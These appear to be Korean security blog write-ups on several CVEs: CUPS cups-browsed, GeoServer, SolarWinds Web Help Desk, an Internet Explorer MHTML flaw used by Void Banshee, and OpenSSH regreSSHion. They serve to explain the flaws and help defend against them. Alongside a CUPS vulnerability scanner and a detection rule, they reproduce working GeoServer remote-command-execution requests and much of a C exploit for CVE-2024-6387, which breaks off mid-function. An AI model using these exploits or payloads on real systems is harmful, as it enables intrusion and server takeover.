            self.server.request_log.write(raw_request.encode('utf-8'))

        self.server.request_log.flush()

    # response to all requests with a static response explaining that this server is performing a vulnerability scan
    # this is not required, but helps anyone inspecting network traffic understand the purpose of this server
    def send_static_response(self):
        self.send_response(200, 'OK')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

    # handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
    def do_GET(self):
        self.send_static_response()

    # handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
    def do_POST(self):
        # we'll just grab all requests starting with /printers/ to make sure we don't miss anything
        # some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
        if self.path.startswith('/printers/'):
            ip, port = self.client_address

            # log the cups-browsed request to cups.log and requests.logs and output to console
            print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
            self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
            self.server.cups_log.flush()
            self.log_raw_request()

        self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
    def __init__(self, server_address, handler_class, log_dir='logs'):
        super().__init__(server_address, handler_class)
        # create 'logs' directory if it doesn't already exist
        log_dir = 'logs'
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)

        # create three separate log files for easy debugging and analysis
        # access.log    - any web requests
        # cups.log      - ip, port, useragent, and request URL for any request sent to CUPS endpoint
        # requests.log  - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
        self.access_log = open(f'{log_dir}/access.log', 'a')
        self.request_log = open(f'{log_dir}/requests.log', 'ab')
        self.cups_log = open(f'{log_dir}/cups.log', 'a')

    def shutdown(self):
        # close all log files on shutdown before shutting down
        self.access_log.close()
        self.request_log.close()
        self.cups_log.close()
        super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
    host, port = callback_server.split(':')
    port = int(port)

    if port < 1 or port > 65535:
        raise RuntimeError(f'invalid callback server port: {port}')

    server_address = (host, port)
    _httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
    print(f'[{timestamp()}] callback server running on port {host}:{port}...')

    # start the HTTP server in a separate thread to avoid blocking the main thread
    server_thread = threading.Thread(target=_httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    return _httpd


def scan_range(ip_range, callback_server, scan_unsafe=False):
    # the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
    # we can set the printer to any http server as long as the path starts with /printers/ or /classes/
    # we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

    # expand the CIDR notation into a list of IP addresses
    # make scanning only host addresses the default behavior (exclude the network and broadcast address)
    # the user can override this with flag --scan-unsafe
    if scan_unsafe:
        ip_range = list(ipaddress.ip_network(ip_range))
    else:
        ip_range = list(ipaddress.ip_network(ip_range).hosts())

    if len(ip_range) < 1:
        raise RuntimeError("error: invalid ip range")

    print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

    # send the CUPS command to each IP on port 631 to trigger a callback to our callback server
    for ip in ip_range:
        ip = str(ip)
        udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
    print(f'[{timestamp()}] shutting down server and exiting...')
    _httpd.shutdown()
    sys.exit(0)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog='python3 scanner.py',
        description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
        usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
    )

    parser.add_argument('--callback', required=True, dest='callback_server',
                        help='the host:port to host the callback server on (must be reachable from target network) '
                             'example: --callback 192.168.0.1:1337')

    parser.add_argument('--targets', required=True, dest='target_ranges',
                        help='a comma separated list of ranges '
                             'example: --targets 192.168.0.0/24,10.0.0.0/8')

    parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
                        help='Typically the first and last address in a CIDR are reserved for the network address and '
                             'broadcast address respectively. By default we do not scan these as they should not be '
                             'assigned. However, you can override this behavior by setting --scan-unsafe')

    args = parser.parse_args()

    try:
        # start the HTTP server to captures cups-browsed callbacks
        print(f'[{timestamp()}] starting callback server on {args.callback_server}')
        httpd = start_server(args.callback_server)

        # register sigint handler to capture CTRL + C
        signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

        # split the ranges up by comma and initiate a scan for each range
        targets = args.target_ranges.split(',')
        print(f'[{timestamp()}] starting scan')
        for target in targets:
            scan_range(target, args.callback_server, args.scan_unsafe)

        print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

        # loop until user uses CTRL + C to stop server
        while True:
            time.sleep(1)

    except RuntimeError as e:
        print(e)

 

4. 참고

[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188

1. GeoServer

- 지리공간 데이터를 공유하고 편집할 수 있는 자바로 개발된 오픈 소스 GIS 소프트웨어 서버

※ GIS (Geographic Information System): 지리 정보 시스템

2. 취약점

[사진 1] CVE-2024-36401 [2]

- 취약한 GeoServer에서 발생하는 원격 명령 실행 취약점 (CVSS:9.8)

> 익스플로잇에 성공한 공격자는 피해자들의 GeoServer를 환전히 장악할 수 있음

> GeoServer 장악 후 여러 멀웨어를 유포하는데 적극 활용 중

영향받는 버전
- GeoServer < 2.23.6
- 2.24.0 <= GeoServer < 2.24.4
- 2.25.0 <= GeoServer < 2.25.2

 

- GeoServer가 호출하는 GeoTools 라이브러리 API

> 피처 유형의 속성/속성 이름을 평가하여 이를 commons-jxpath 라이브러리에 안전하지 않게 전달

> 해당 라이브러리는 XPath 표현식을 평가할 때 임의의 코드를 실행할 수 있음

> 일반적으로 XPath 평가는 복잡한 피처 유형으로 제한되어야 하지만 구현상 결함으로 인해 해당 평가는 간단한 피처 유형에도 적용됨

※ commons-jxpath 라이브러리: XPath 표현식을 구문 분석하고 평가하도록 설계되었음

취약한 요청 - WFS GetFeature : 웹 피처 서비스에서 피처를 검색하는 데 사용
- WFS GetPropertyValue : 피처의 특정 속성을 검색
- WMS GetMap : 웹 맵 서비스에서 맵 이미지를 요청
- WMS GetFeatureInfo : 지정된 위치의 피처에 대한 정보를 검색
- WMS GetLegendGraphic : 지도에 대한 범례 그래픽을 요청
- WPS Execute: 웹 처리 서비스 프로세스를 실행

 

2.1 PoC Test

- docker 빌드 및 실행 [3]

docker-compose up -d

 

[사진 2] 취약한 GeoServer 구동

 

- 공개된 PoC를 통해 익스플로잇 결과 408, 500 Error 발생

> 408 Error: 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미

> 500 Error: 서버에서 문제가 발생하였으나 문제의 구체적인 내용을 표시할 수 없음을 의미

※ docker 빌드를 다시 해보았으나 동일한 결과 도출

[사진 3] 408 Error 반환
[사진 4] 500 Error 반환

- 정상적으로 익스플로잇이 진행된 경우 원격 명령이 실행 [4]

[사진 5] 익스플로잇 성공 결과

- 공개 PoC [5]

[GET 요청]
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

[POST 요청]
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GeoServer GeoServer < 2.23.6 2.23.6
2.24.0 <= GeoServer < 2.24.4 2.24.4
2.25.0 <= GeoServer < 2.25.2 2.25.2

 

- 업데이트 적용이 불가한 경우 권고

① GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
> webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar

※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar

 

② WFS 요청 비활성화

> 불필요하거나 중요하지 않은 경우 WFS 요청 비활성화

 

- 탐지 정책 적용

(flow:to_server,established; content:"/geoserver/wfs"; http_uri; content:"exec|28|java|2E|lang|2E|"; nocase; http_uri;)

4. 참고

[1] https://geoserver.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-36401
[3] https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
[4] https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
[5] https://github.com/bigb0x/CVE-2024-36401?tab=readme-ov-file
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=5&categoryCode=&nttId=71483
[7] https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
[8] https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
[9] https://www.boannews.com/media/view.asp?idx=132739&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=132692&page=3&kind=1

1. SolarWinds Web Help Desk (WHD) [1]

- 티켓팅 및 IT 자산 관리 작업을 자동화할 수 있도록 설계된 기업용 헬프데스크 티켓팅 및 IT 인벤토리 관리 소프트웨어

 

2. 취약점

[사진 1] CVE-2024-28986

- 취약한 WHD 버전에서 발생하는 자바 직렬화 원격 코드 실행 취약점 (CVSS: 9.8)

WHD는 정부, 의료, 교육 등 다양한 분야에서 광범위하게 사용되고 있어 취약점의 잠재적인 영향은 매우 심각
> CISA는 KEV에 추가 및 연방 기관들에게 24.09.05까지 패치 적용을 지시

영향받는 버전
WHD 12.4 ~ 12.8

 

- 인증 없이 악용될 수 있다고 최초 보고

> SolarWinds 엔지니어는 실제 테스트 결과 인증을 거친 후에만 취약점을 재현할 수 있다고 발표

※ 보안 연구원에 의해 비공개로 공개되었고, PoC 및 악용시도는 확인되지 않은 것으로 판단됨

 

- SolarWinds는 긴급 핫픽스를 신속히 배포 [3][4]

> 새로운 JAR 파일 설치 후 구성 파일을 수동으로 수정해야 하는 절차 필요

> 패치 설치 중 발생할 수 있는 문제를 예방하기 위해 기존 파일의 백업을 권장

제품명 영향받는 버전 해결 버전
WHD(Web Help Desk) 12.4  ~ 12.8 12.8.3 Hotfix 1

※ SAML Single Sign-On(SSO)을 사용하는 경우 새로운 Hotfix 출시 예정이므로 적용 제외

 

- 핫픽스 적용이 불가한 경우 권고
> WHD에 대한 액세스 제한
> WHD의 비정상적인 활동이나 명령 실행 모니터링
> WAF를 사용해 잠재적으로 악의적인 시도 모니터링 및 필터링

 

2.1 CVE-2024-28987

[사진 2] CVE-2024-28987 [6]

- 취약한 WHD 버전에서 발생하는 하드코딩된 자격 증명 취약점 (CVSS: 9.1)
> 해당 취약점은 CVE-2024-28986 이전부터 존재한 취약점으로 보임

 

- Solarwinds는 두 번째 Hotfix 공개 [7][8]
> 패치를 적용하려면 먼저 시스템이 WHD 12.8.3.1813 또는 12.8.3 HF1 버전으로 업데이트되어 있어야 함
> 패치 설치 중 발생할 수 있는 문제를 예방하기 위해 기존 파일의 백업을 권장

제품명 영향받는 버전 해결 버전
WHD(Web Help Desk) 12.8.3 Hotfix 1 이하 버전 12.8.3 Hotfix 2

 

3. 참고

[1] https://www.solarwinds.com/web-help-desk
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-28986
[3] https://support.solarwinds.com/SuccessCenter/s/article/WHD-12-8-3-Hotfix-1
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71527&menuNo=205020
[5] https://www.helpnetsecurity.com/2024/08/15/cve-2024-28986/
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-28987
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71531&menuNo=205020
[8] https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2
[9] https://www.bleepingcomputer.com/news/security/solarwinds-fixes-critical-rce-bug-affecting-all-web-help-desk-versions/
[10] https://feedly.com/cve/CVE-2024-28986
[11] https://www.dailysecu.com/news/articleView.html?idxno=158587
[12] https://www.dailysecu.com/news/articleView.html?idxno=158763

1.개요

22.06 지원이 종료된 Internet Explorer(IE)를 활용한 공격이 확인
- IE와 같이 더 이상 지원되지 않는 시스템이 공격에 악용될 수 있다는 사례를 반증
- 해당 취약점은 제로데이로 악용되다 24.07 패치가 적용

 

2. 주요 내용

- 공격 단체 Void Banshee는 IE를 활용해 정보 탈취형 멀웨어 Atlantida를 배포 [1]
IE는 22.06.15 공식적으로 지원 종료 및 비활성화 처리
> 사용자가 IE를 실행하면 Edge 브라우저가 실행 됨
호환성(아직 IE로 콘텐츠를 로딩해야만 하는 특수한 경우 등)을 위해 Edge 브라우저에 IE 모드를 탑재
> IE의 일부 구성요소가 있어야 IE 모드가 정상적으로 작동하기 때문에 아직 남아있는 것

※ Edge 브라우저 > 설정 (우측 상단 ...) > 기본 브라우저 > IE 호환성에서 IE 모드 설정 가능

[사진 1] iexplore.exe

2.1 CVE-2024-38112 [2]

[사진 2] CVE-2024-38112

- Windows MHTML 플랫폼 스푸핑 취약점
> MHTML (MIME HTML): HTML 코드와 해당 코드를 구현하는 데 필요한 외부 자원들을 포함한 파일 [3][4]
> 공격자는 MHTML과 x-usc를 사용해 해당 취약점을 악용
> x-usc: 웹 페이지 내에서 다른 웹 페이지를 포함하거나 리소스를 로드하는 데 사용

 

2.2 공격 과정

[사진 3] 공격 과정 요약

① 파일 유포

- 공격자는 PDF 파일을 압축(ZIP)하여 유포
온라인 라이브러리, 클라우드 공유 사이트, 디스코드, 미리 침해한 웹 사이트 등을 통해 유포
> 고도의 전문분야에 종사하는 사람들을 대상으로 공격을 진행하는 것으로 판단됨

 

② 악성 파일 실행

- 사용자가 압축 해제 후 PDF로 위장한 악성 파일을 실행
> 악성 파일은 PDF 아이콘으로 위장한 URL 파일
해당 파일은 MHTML과 x-usc를 사용해 IE 실행 및 악성 웹 사이트로 리다이렉션

[사진 4] MHTML 및 x-usc

③ HTA 파일 다운

- IE를 통해 해당 URL에 접속하여 HTA 파일을 다운
> IE는 Edge, Chrome과 달리 HTA 파일이 실행됨
26개의 공백을 포함하여 HTA 파일을 다운 Ex) 파일명.pdf<공백 26칸>.hta

 

④ PowerShell 명령 실행

- HTA 파일은 XOR로 암호호화된 콘텐츠를 복호화 하는 기능을 가진 VBScript가 포함
복호화된 스크립트는 또 다른 악성 스크립트 실행 반복

 

⑤ Atlantida 멀웨어 다운

- 최종적으로 정보 탈취 멀웨어 Atlantida를 다운 및 실행
수집된 모든 데이터를 ZIP 파일로 압축하고 TCP 포트 6655를 통해 공격자의 C&C 서버로 유출

[사진 5] Atlantida 수집 데이터(위) 및 유출 예시(아래)

※ 관련 IoC [5] 참고

2.3 결론

사용자가 더 이상 액세스할 수 없는 서비스를 공격자는 여전히 악용 가능
> 해당 서비스를 악용해 랜섬웨어, 백도어, 백도어 등을 유포
> IE 처럼 공격 표면이 크고, 더 이상 지원되지 않는 비활성화된 서비스의 경우 더 큰 파급력을 지님
> 또한, 오래된 컴퓨터ㆍSWㆍFirmware, 퇴사자 계정 등 관리 강조

 

취약점을 선제적으로 찾아내 해결하는 Threat hunting의 필요

 

3. 참고

[1] https://www.trendmicro.com/ko_kr/research/24/g/CVE-2024-38112-void-banshee.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-38112
[3] https://ko.wikipedia.org/wiki/MHTML
[4] https://insert-script.blogspot.com/2016/02/mhtml-x-usc-feature-from-past.html
[5] https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/g/cve-2024-38112-void-banshee-targets-windows-users-through-zombie-internet-explorer-in-zero-day-attacks/IOCs-CVE-2024-38112.txt
[6] https://www.boannews.com/media/view.asp?idx=131473&page=1&kind=1

1. 개요

- OpenSSH 생태계에서 새로운 취약점(RCE)이 발견 [1]
> glibc 기반 Linux 시스템에서 OpenSSH 서버(sshd)에서 발생
> OpenSSH: SSH를 이용하여 암호화된 통신 세션을 제공하는 컴퓨터 프로그램의 모임 [2]
- 해당 취약점은 2006년 이미 발견되어 수정된 취약점이 최근 패치로 인해 다시 발생된 것

 

2. 주요내용

- 해당 취약점은 과거 수정된 취약점이 최근 패치로 인해 다시 발생
기존에 잘 동작하던 S/W가 패치 이후 버그나 문제가 생기는 것을 Regression(회귀)이라 함
> 해당 취약점 또한 Regression으로 발생한 OpenSSH 취약점이란 의미로 regreSSHion 취약점이라 불림

 

2.1 CVE-2006-5051 [3]

[사진 1] CVE-2006-5051

- 취약한 버전의 OpenSSH에서 발생하는 서비스 거부 및 임의 코드 실행 취약점 (CVSS: 8.1)

① 신호 처리기 경쟁 조건이 발생할 경우 서비스 거부를 발생시킬 수 있음
> 신호 처리기는 시스템에서 발생하는 특정 이벤트(예: SIGTERM, SIGINT)에 대한 응답으로 실행되는 코드
> 공격자는 과도한 요청 통해 신호처리기에 과부하 및 서버 충돌을 유발하여 서비스 거부를 발생시키는 것으로 판단됨

 

② GSSAPI 인증이 활성화된 경우 임의 코드를 실행할 수 있음
> GSSAPI(Generic Security Service Application Program Interface) authentication: 시스템 간 보안 서비스에 대한 액세스를 제공하는 표준 인터페이스 [4]
> 사용자 인증, 데이터 암호화, 메시지 무결성 등 다양한 보안 서비스를 위한 통합된 프레임워크를 제공

영향받는 버전: OpenSSH 4.4 이전 버전

 

2.2 CVE-2024-6387 [5]

[사진 2] CVE-2024-6387

- Open SSH 서버(sshd)에서 Regression으로 인해 발생하는 원격 코드 실행 취약점 (CVSS: 8.1)
신호 처리기의 결함으로 경쟁 조건이 발생하며, 이를 악용해 인증 프로세스 중 서버에 임의의 코드를 삽입하고 실행할 수 있음
> 익스플로잇에 성공할 경우 서버를 완전히 제어할 수 있게 됨

영향받는 시스템: OpenSSH 8.5p1 ~ 9.7p1 이전 버전

 

취약점은 sshd가 클라이언트 인증을 처리하는 방식과 그에 따른 비동기 처리에서 비롯 [6]
> 클라이언트가 sshd에 연결을 시도하면 서버는 지정된 기간인 'LoginGraceTime' 동안 대기

* 이 기간 동안 서버는 클라이언트가 성공적으로 인증할 수 있는지 확안

> 클라이언트가 지정된 시간 내 인증에 실패할 경우 비동기 신호 처리기 'SIGALRM'이 트리거되어 서버가 다른 작업을 수행할 수 있음

* SIGALRM: alarm 함수 등으로 설정한 타이머가 만료될 때 발생하는 시그널

> 취약한 버전의 경우, SIGALRM 신호 처리기는 'async-signal-unsafe' 함수를 호출
> 'async-signal-unsafe' 함수에서 경쟁 조건이 유발

 

2.3 PoC [7]

/** 7etsuo-regreSSHion.c
 * -------------------------------------------------------------------------
 * SSH-2.0-OpenSSH_9.2p1 Exploit
 * -------------------------------------------------------------------------
 *
 * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion)
 * Author         : 7etsuo
 * Date           : 2024-07-01
 *
 * Description:
 * Targets a signal handler race condition in OpenSSH's
 * server (sshd) on glibc-based Linux systems. It exploits a vulnerability
 * where the SIGALRM handler calls async-signal-unsafe functions, leading
 * to rce as root.
 *
 * Notes:
 * 1. Shellcode        : Replace placeholder with actual payload.
 * 2. GLIBC_BASES      : Needs adjustment for specific target systems.
 * 3. Timing parameters: Fine-tune based on target system responsiveness.
 * 4. Heap layout      : Requires tweaking for different OpenSSH versions.
 * 5. File structure offsets: Verify for the specific glibc version.
 * -------------------------------------------------------------------------
 */

#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
                  const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
                            uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
                               uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
                                 uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);

int
main (int argc, char *argv[])
{
  if (argc != 3)
    {
      fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
      exit (1);
    }

  const char *ip = argv[1];
  int port = atoi (argv[2]);
  double parsing_time = 0;
  int success = 0;

  srand (time (NULL));

  // Attempt exploitation for each possible glibc base address
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

      // The advisory mentions "~10,000 tries on average"
      for (int attempt = 0; attempt < 20000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 20000\n", attempt);
            }

          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }

          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }

          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              break;
            }

          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }

  return !success;
}

int
setup_connection (const char *ip, int port)
{
  int sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock < 0)
    {
      perror ("socket");
      return -1;
    }

  struct sockaddr_in server_addr;
  memset (&server_addr, 0, sizeof (server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons (port);
  if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
    {
      perror ("inet_pton");
      close (sock);
      return -1;
    }

  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
      < 0)
    {
      perror ("connect");
      close (sock);
      return -1;
    }

  // Set socket to non-blocking mode
  int flags = fcntl (sock, F_GETFL, 0);
  fcntl (sock, F_SETFL, flags | O_NONBLOCK);

  return sock;
}

void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
             size_t len)
{
  unsigned char packet[MAX_PACKET_SIZE];
  size_t packet_len = len + 5;

  packet[0] = (packet_len >> 24) & 0xFF;
  packet[1] = (packet_len >> 16) & 0xFF;
  packet[2] = (packet_len >> 8) & 0xFF;
  packet[3] = packet_len & 0xFF;
  packet[4] = packet_type;

  memcpy (packet + 5, data, len);

  if (send (sock, packet, packet_len, 0) < 0)
    {
      perror ("send_packet");
    }
}

void
send_ssh_version (int sock)
{
  const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
  if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
    {
      perror ("send ssh version");
    }
}

int
receive_ssh_version (int sock)
{
  char buffer[256];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer) - 1, 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  if (received > 0)
    {
      buffer[received] = '\0';
      printf ("Received SSH version: %s", buffer);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving SSH version\n");
    }
  else
    {
      perror ("receive ssh version");
    }
  return -1;
}

void
send_kex_init (int sock)
{
  unsigned char kexinit_payload[36] = { 0 };
  send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}

int
receive_kex_init (int sock)
{
  unsigned char buffer[1024];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  if (received > 0)
    {
      printf ("Received KEX_INIT (%zd bytes)\n", received);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
    }
  else
    {
      perror ("receive kex init");
    }
  return -1;
}

int
perform_ssh_handshake (int sock)
{
  send_ssh_version (sock);
  if (receive_ssh_version (sock) < 0)
    return -1;
  send_kex_init (sock);
  if (receive_kex_init (sock) < 0)
    return -1;
  return 0;
}

void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}

void
create_fake_file_structure (unsigned char *data, size_t size,
                            uint64_t glibc_base)
{
  memset (data, 0, size);

  struct
  {
    void *_IO_read_ptr;
    void *_IO_read_end;
    void *_IO_read_base;
    void *_IO_write_base;
    void *_IO_write_ptr;
    void *_IO_write_end;
    void *_IO_buf_base;
    void *_IO_buf_end;
    void *_IO_save_base;
    void *_IO_backup_base;
    void *_IO_save_end;
    void *_markers;
    void *_chain;
    int _fileno;
    int _flags;
    int _mode;
    char _unused2[40];
    void *_vtable_offset;
  } *fake_file = (void *)data;

  // Set _vtable_offset to 0x61 as described in the advisory
  fake_file->_vtable_offset = (void *)0x61;

  // Set up fake vtable and _codecvt pointers
  *(uint64_t *)(data + size - 16)
      = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
  *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}

void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;

  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}

double
measure_response_time (int sock, int error_type)
{
  unsigned char error_packet[1024];
  size_t packet_size;

  if (error_type == 1)
    {
